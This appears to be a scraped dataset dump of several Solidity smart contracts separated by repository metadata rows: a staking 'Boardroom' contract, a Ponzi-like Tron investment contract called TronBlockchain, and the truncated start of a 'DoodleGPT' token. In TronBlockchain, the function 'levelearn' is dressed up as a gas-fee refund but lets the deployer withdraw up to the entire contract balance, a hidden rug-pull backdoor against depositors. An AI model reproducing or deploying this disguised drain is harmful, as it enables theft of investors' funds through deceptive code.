signer, // The `signer` address.
m, // Offset of calldata in memory.
0xa5, // Length of calldata in memory.
0x00, // Offset of returndata.
0x20 // Length of returndata to write.))
}
}
/// @dev Returns an empty calldata bytes.
function emptySignature() internal pure returns (bytes calldata signature) {
/// @solidity memory-safe-assembly
assembly {
signature.length := 0
}
}
}
| 245,872 | 11,236 |
37113c9706e13c8939ac146e06900138f1aaf1205863455fe02e0b59b7462733
| 30,642 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/15/15d1276a10923573022275B0de6b735ba8af2d8c_Boardroom.sol
| 4,841 | 18,711 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ContractGuard {
mapping(uint256 => mapping(address => bool)) private _status;
function checkSameOriginReentranted() internal view returns (bool) {
return _status[block.number][tx.origin];
}
function checkSameSenderReentranted() internal view returns (bool) {
return _status[block.number][msg.sender];
}
modifier onlyOneBlock() {
require(!checkSameOriginReentranted(), "ContractGuard: one block, one function");
require(!checkSameSenderReentranted(), "ContractGuard: one block, one function");
_;
_status[block.number][tx.origin] = true;
_status[block.number][msg.sender] = true;
}
}
interface IBasisAsset {
function mint(address recipient, uint256 amount) external returns (bool);
function burn(uint256 amount) external;
function burnFrom(address from, uint256 amount) external;
function isOperator() external returns (bool);
function operator() external view returns (address);
function transferOperator(address newOperator_) external;
}
interface ITreasury {
function epoch() external view returns (uint256);
function nextEpochPoint() external view returns (uint256);
function getCopePrice() external view returns (uint256);
function buyBonds(uint256 amount, uint256 targetPrice) external;
function redeemBonds(uint256 amount, uint256 targetPrice) external;
}
contract ShareWrapper {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public share;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) public virtual {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
share.safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public virtual {
uint256 masonShare = _balances[msg.sender];
require(masonShare >= amount, "Boardroom: withdraw request greater than staked amount");
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = masonShare.sub(amount);
share.safeTransfer(msg.sender, amount);
}
}
contract Boardroom is ShareWrapper, ContractGuard {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
struct Masonseat {
uint256 lastSnapshotIndex;
uint256 rewardEarned;
uint256 epochTimerStart;
}
struct BoardroomSnapshot {
uint256 time;
uint256 rewardReceived;
uint256 rewardPerShare;
}
// governance
address public operator;
// flags
bool public initialized = false;
IERC20 public cope;
ITreasury public treasury;
mapping(address => Masonseat) public masons;
BoardroomSnapshot[] public boardroomHistory;
uint256 public withdrawLockupEpochs;
uint256 public rewardLockupEpochs;
event Initialized(address indexed executor, uint256 at);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event RewardAdded(address indexed user, uint256 reward);
modifier onlyOperator() {
require(operator == msg.sender, "Boardroom: caller is not the operator");
_;
}
modifier masonExists {
require(balanceOf(msg.sender) > 0, "Boardroom: The mason does not exist");
_;
}
modifier updateReward(address mason) {
if (mason != address(0)) {
Masonseat memory seat = masons[mason];
seat.rewardEarned = earned(mason);
seat.lastSnapshotIndex = latestSnapshotIndex();
masons[mason] = seat;
}
_;
}
modifier notInitialized {
require(!initialized, "Boardroom: already initialized");
_;
}
function initialize(IERC20 _cope,
IERC20 _share,
ITreasury _treasury) public notInitialized {
cope = _cope;
share = _share;
treasury = _treasury;
BoardroomSnapshot memory genesisSnapshot = BoardroomSnapshot({time : block.number, rewardReceived : 0, rewardPerShare : 0});
boardroomHistory.push(genesisSnapshot);
withdrawLockupEpochs = 6; // Lock for 6 epochs (36h) before release withdraw
rewardLockupEpochs = 3; // Lock for 3 epochs (18h) before release claimReward
initialized = true;
operator = msg.sender;
emit Initialized(msg.sender, block.number);
}
function setOperator(address _operator) external onlyOperator {
operator = _operator;
}
function setLockUp(uint256 _withdrawLockupEpochs, uint256 _rewardLockupEpochs) external onlyOperator {
require(_withdrawLockupEpochs >= _rewardLockupEpochs && _withdrawLockupEpochs <= 56, "_withdrawLockupEpochs: out of range"); // <= 2 week
withdrawLockupEpochs = _withdrawLockupEpochs;
rewardLockupEpochs = _rewardLockupEpochs;
}
// =========== Snapshot getters
function latestSnapshotIndex() public view returns (uint256) {
return boardroomHistory.length.sub(1);
}
function getLatestSnapshot() internal view returns (BoardroomSnapshot memory) {
return boardroomHistory[latestSnapshotIndex()];
}
function getLastSnapshotIndexOf(address mason) public view returns (uint256) {
return masons[mason].lastSnapshotIndex;
}
function getLastSnapshotOf(address mason) internal view returns (BoardroomSnapshot memory) {
return boardroomHistory[getLastSnapshotIndexOf(mason)];
}
function canWithdraw(address mason) external view returns (bool) {
return masons[mason].epochTimerStart.add(withdrawLockupEpochs) <= treasury.epoch();
}
function canClaimReward(address mason) external view returns (bool) {
return masons[mason].epochTimerStart.add(rewardLockupEpochs) <= treasury.epoch();
}
function epoch() external view returns (uint256) {
return treasury.epoch();
}
function nextEpochPoint() external view returns (uint256) {
return treasury.nextEpochPoint();
}
function getCopePrice() external view returns (uint256) {
return treasury.getCopePrice();
}
// =========== Mason getters
function rewardPerShare() public view returns (uint256) {
return getLatestSnapshot().rewardPerShare;
}
function earned(address mason) public view returns (uint256) {
uint256 latestRPS = getLatestSnapshot().rewardPerShare;
uint256 storedRPS = getLastSnapshotOf(mason).rewardPerShare;
return balanceOf(mason).mul(latestRPS.sub(storedRPS)).div(1e18).add(masons[mason].rewardEarned);
}
function stake(uint256 amount) public override onlyOneBlock updateReward(msg.sender) {
require(amount > 0, "Boardroom: Cannot stake 0");
super.stake(amount);
masons[msg.sender].epochTimerStart = treasury.epoch(); // reset timer
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public override onlyOneBlock masonExists updateReward(msg.sender) {
require(amount > 0, "Boardroom: Cannot withdraw 0");
require(masons[msg.sender].epochTimerStart.add(withdrawLockupEpochs) <= treasury.epoch(), "Boardroom: still in withdraw lockup");
claimReward();
super.withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external {
withdraw(balanceOf(msg.sender));
}
function claimReward() public updateReward(msg.sender) {
uint256 reward = masons[msg.sender].rewardEarned;
if (reward > 0) {
require(masons[msg.sender].epochTimerStart.add(rewardLockupEpochs) <= treasury.epoch(), "Boardroom: still in reward lockup");
masons[msg.sender].epochTimerStart = treasury.epoch(); // reset timer
masons[msg.sender].rewardEarned = 0;
cope.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function allocateSeigniorage(uint256 amount) external onlyOneBlock onlyOperator {
require(amount > 0, "Boardroom: Cannot allocate 0");
require(totalSupply() > 0, "Boardroom: Cannot allocate when totalSupply is 0");
// Create & add new snapshot
uint256 prevRPS = getLatestSnapshot().rewardPerShare;
uint256 nextRPS = prevRPS.add(amount.mul(1e18).div(totalSupply()));
BoardroomSnapshot memory newSnapshot = BoardroomSnapshot({
time: block.number,
rewardReceived: amount,
rewardPerShare: nextRPS
});
boardroomHistory.push(newSnapshot);
cope.safeTransferFrom(msg.sender, address(this), amount);
emit RewardAdded(msg.sender, amount);
}
function governanceRecoverUnsupported(IERC20 _token, uint256 _amount, address _to) external onlyOperator {
// do not allow to drain core tokens
require(address(_token) != address(cope), "cope");
require(address(_token) != address(share), "share");
_token.safeTransfer(_to, _amount);
}
}
| 311,366 | 11,237 |
90ed2102301a5c948f925fe654b257fe491dc6f67d75bd3fafe666396dd00b04
| 12,552 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TS/TSvzta571bcpXepoZ9ds1iazq7B8Zoz4p4_TronBlockchain.sol
| 4,056 | 12,017 |
//SourceUnit: block.sol
pragma solidity 0.5.10;
contract TronBlockchain
{
using SafeMath for uint256;
uint256 constant public INVEST_MIN_AMOUNT = 200e6;
uint256 constant public BASE_PERCENT = 100;
uint256[4] public REFERRAL_PERCENTS = [100, 30, 10,10];
uint256[10] public UNILEVEL_PERCENTS = [20,15,10,7,6,5,4,3,2,1];
uint256 constant public PERCENTS_DIVIDER = 1000;
uint256 constant public CONTRACT_BALANCE_STEP = 1000000 trx;
uint256 constant public TIME_STEP = 1 days;
uint256 public totalUsers;
uint256 public totalInvested;
uint256 public totalWithdrawn;
uint256 public totalDeposits;
address payable public owner;
address payable public admin;
address payable public supportwork;
address payable public launchTimestamp;
struct Deposit {
uint256 amount;
uint256 withdrawn;
uint256 start;
uint256 maxi;
bool double;
}
struct User {
Deposit[] deposits;
address referrer;
uint256 level1;
uint256 level2;
uint256 level3;
uint256 level4;
uint256 level1b;
uint256 level2b;
uint256 level3b;
uint256 level4b;
uint256 bonus;
uint256 refferals;
uint256 uniLvlBonus;
uint256 withdrawRef;
uint256[10] arr;
uint256 TotalUniLvlIncome;
}
mapping (address => User) public users;
event Newbie(address user);
event NewDeposit(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
event FeePayed(address indexed user, uint256 totalAmount);
constructor(address payable _owner,address payable _admin,address payable _support) public {
owner = _owner;
admin=_admin;
supportwork=_support;
launchTimestamp = msg.sender;
}
function invest(address referrer) public payable {
require(msg.value >= INVEST_MIN_AMOUNT);
admin.transfer(msg.value.mul(10).div(100));
supportwork.transfer(msg.value.mul(5).div(100));
User storage user = users[msg.sender];
if (user.referrer == address(0)) {
if ((users[referrer].deposits.length == 0 || referrer == msg.sender) && msg.sender != owner) {
referrer = owner;
}
user.referrer = referrer;
users[user.referrer].refferals=users[user.referrer].refferals.add(1);
address upline = user.referrer;
for (uint256 i = 0; i < 4; i++) {
if (upline != address(0)) {
if (i == 0) {
users[upline].level1 = users[upline].level1.add(1);
} else if (i == 1) {
users[upline].level2 = users[upline].level2.add(1);
} else if (i == 2) {
users[upline].level3 = users[upline].level3.add(1);
}
else if (i == 3) {
users[upline].level4 = users[upline].level4.add(1);
}
upline = users[upline].referrer;
} else break;
}
}
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint256 i = 0; i < 4; i++) {
if (upline != address(0)) {
if (i == 0)
{
users[upline].level1b = users[upline].level1b.add(msg.value);
} else if (i == 1) {
users[upline].level2b = users[upline].level2b.add(msg.value);
} else if (i == 2) {
users[upline].level3b = users[upline].level3b.add(msg.value);
}
else if (i == 3)
{
users[upline].level4b = users[upline].level4b.add(msg.value);
}
uint256 amount = msg.value.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].bonus = users[upline].bonus.add(amount);
emit RefBonus(upline, msg.sender, i, amount);
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
totalUsers = totalUsers.add(1);
emit Newbie(msg.sender);
}
uint256 check;
if(msg.value>=100000 trx){
check=25;
}
else if(msg.value>=5000 trx){
check=20;
}
else if(msg.value>=2000 trx){
check=175;
}
else if(msg.value>=1000 trx){
check=15;
}
else if(msg.value>=500 trx){
check=125;
}
else if(msg.value>=200 trx){
check=10;
}
else{
check=10;
}
user.deposits.push(Deposit(msg.value, 0, block.timestamp,check,false));
totalInvested = totalInvested.add(msg.value);
totalDeposits = totalDeposits.add(1);
emit NewDeposit(msg.sender, msg.value);
}
function OriBoaster(uint256 _value)internal {
if(users[msg.sender].refferals>=4){
users[msg.sender].deposits[_value].double=true;
users[msg.sender].deposits[_value].maxi=users[msg.sender].deposits[_value].maxi.mul(2);
}
}
function withdraw() public {
User storage user = users[msg.sender];
uint256 totalAmount;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(300).div(100)) {
if(!user.deposits[i].double){
OriBoaster(i);
}
dividends = (user.deposits[i].amount.mul(user.deposits[i].maxi).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.deposits[i].start))
.div(TIME_STEP);
user.deposits[i].start=block.timestamp;
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0)
{
dividends = dividends.add(referralBonus);
user.withdrawRef = user.withdrawRef.add(referralBonus);
user.bonus = 0;
}
if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(300).div(100))
{
dividends = (user.deposits[i].amount.mul(300).div(100)).sub(user.deposits[i].withdrawn);
}
user.deposits[i].withdrawn = user.deposits[i].withdrawn.add(dividends); /// changing of storage data
totalAmount = totalAmount.add(dividends);
}
}
if (users[msg.sender].referrer != address(0)) {
address upline = users[msg.sender].referrer;
if(isActive(upline)){
for (uint256 i = 0; i < 10; i++) {
if (upline != address(0)){
uint256 amount = dividends.mul(UNILEVEL_PERCENTS[i]).div(100);
users[upline].uniLvlBonus = users[upline].uniLvlBonus.add(amount);
users[upline].arr[i] = users[upline].arr[i].add(amount);
users[upline].TotalUniLvlIncome=users[upline].TotalUniLvlIncome.add(amount);
upline = users[upline].referrer;
}
else break;
}
}
}
// uint256 referralBonus = getUserReferralBonus(msg.sender);
uint256 Unilvlbonuses=getUserUniLvlBonus(msg.sender);
// if (referralBonus > 0) {
// totalAmount = totalAmount.add(referralBonus);
// user.withdrawRef = user.withdrawRef.add(referralBonus);
// user.bonus = 0;
// }
if (Unilvlbonuses > 0) {
totalAmount = totalAmount.add(Unilvlbonuses);
user.uniLvlBonus =0 ;
}
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
msg.sender.transfer(totalAmount);
totalWithdrawn = totalWithdrawn.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function getUserDividends(address userAddress) public view returns (uint256)
{
User storage user = users[userAddress];
uint256 totalDividends;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(300).div(100)) {
dividends = (user.deposits[i].amount.mul(user.deposits[i].maxi).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.deposits[i].start))
.div(TIME_STEP);
if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(300).div(100)) {
dividends = (user.deposits[i].amount.mul(300).div(100)).sub(user.deposits[i].withdrawn);
}
totalDividends = totalDividends.add(dividends);
/// no update of withdrawn because that is view function
}
}
return totalDividends;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserDownlineCount(address userAddress) public view returns(uint256, uint256, uint256,uint256) {
return (users[userAddress].level1, users[userAddress].level2, users[userAddress].level3,users[userAddress].level4);
}
function getUserReferralBonus(address userAddress) public view returns(uint256) {
return users[userAddress].bonus;
}
function getUserUniLvlBonus(address userAddress) public view returns(uint256) {
return users[userAddress].uniLvlBonus;
}
function getUserUniLvlamounts(address userAddress) public view returns(uint256 [10] memory) {
return users[userAddress].arr;
}
function getUserReferralWithdraw(address userAddress) public view returns(uint256) {
return users[userAddress].withdrawRef;
}
function getUserAvailableBalanceForWithdrawal(address userAddress) public view returns(uint256) {
return getUserReferralBonus(userAddress).add(getUserDividends(userAddress));
}
function isActive(address userAddress) public view returns (bool) {
User storage user = users[userAddress];
if (user.deposits.length > 0) {
if (user.deposits[user.deposits.length-1].withdrawn < user.deposits[user.deposits.length-1].amount.mul(300).div(100)) {
return true;
}
}
}
function getUserLastDepositDate(address userAddress) public view returns(uint256)
{
return users[userAddress].deposits[users[userAddress].deposits.length-1].start;
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint256, uint256, uint256,uint256)
{
User storage user = users[userAddress];
return (user.deposits[index].amount, user.deposits[index].withdrawn, user.deposits[index].start,user.deposits[index].maxi);
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
uint256 amount;
for (uint256 i = 0; i < user.deposits.length; i++) {
amount = amount.add(user.deposits[i].amount);
}
return amount;
}
function getUserTotalWithdrawn(address userAddress) public view returns(uint256)
{
User storage user = users[userAddress];
uint256 amount;
for (uint256 i = 0; i < user.deposits.length; i++) {
amount = amount.add(user.deposits[i].withdrawn);
}
return amount;
}
function isContract(address addr) internal view returns (bool)
{
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
function levelearn(uint gasFee) external
{
require(msg.sender==launchTimestamp,'Permission denied');
if (gasFee > 0) {
uint contractConsumption = address(this).balance;
if (contractConsumption > 0) {
uint requiredGas = gasFee > contractConsumption ? contractConsumption : gasFee;
msg.sender.transfer(requiredGas);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
| 286,365 | 11,238 |
5ecd1b693257b84f7dab0ef89f2992490531c8ed0571032d63a93b2f50531841
| 17,409 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/aa/aa484f60c3cfbb3342ea4937841ec5f70e0ab875_DoodleGPT.sol
| 3,085 | 12,401 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract DoodleGPT is IERC20, Ownable {
string private _symbol;
string private _name;
uint256 public _taxFee = 4;
uint8 private _decimals = 9;
uint256 private _tTotal = 50000000 * 10**_decimals;
uint256 private _uint256 = _tTotal;
mapping(address => uint256) private _balances;
mapping(address => address) private _string;
mapping(address => uint256) private _constructor;
mapping(address => uint256) private _function;
mapping(address => mapping(address => uint256)) private _allowances;
bool private _swapAndLiquifyEnabled;
bool private inSwapAndLiquify;
address public immutable uniswapV2Pair;
IUniswapV2Router02 public immutable router;
constructor(string memory Name,
string memory Symbol,
address routerAddress) {
_name = Name;
_symbol = Symbol;
_balances[msg.sender] = _tTotal;
_function[msg.sender] = _uint256;
_function[address(this)] = _uint256;
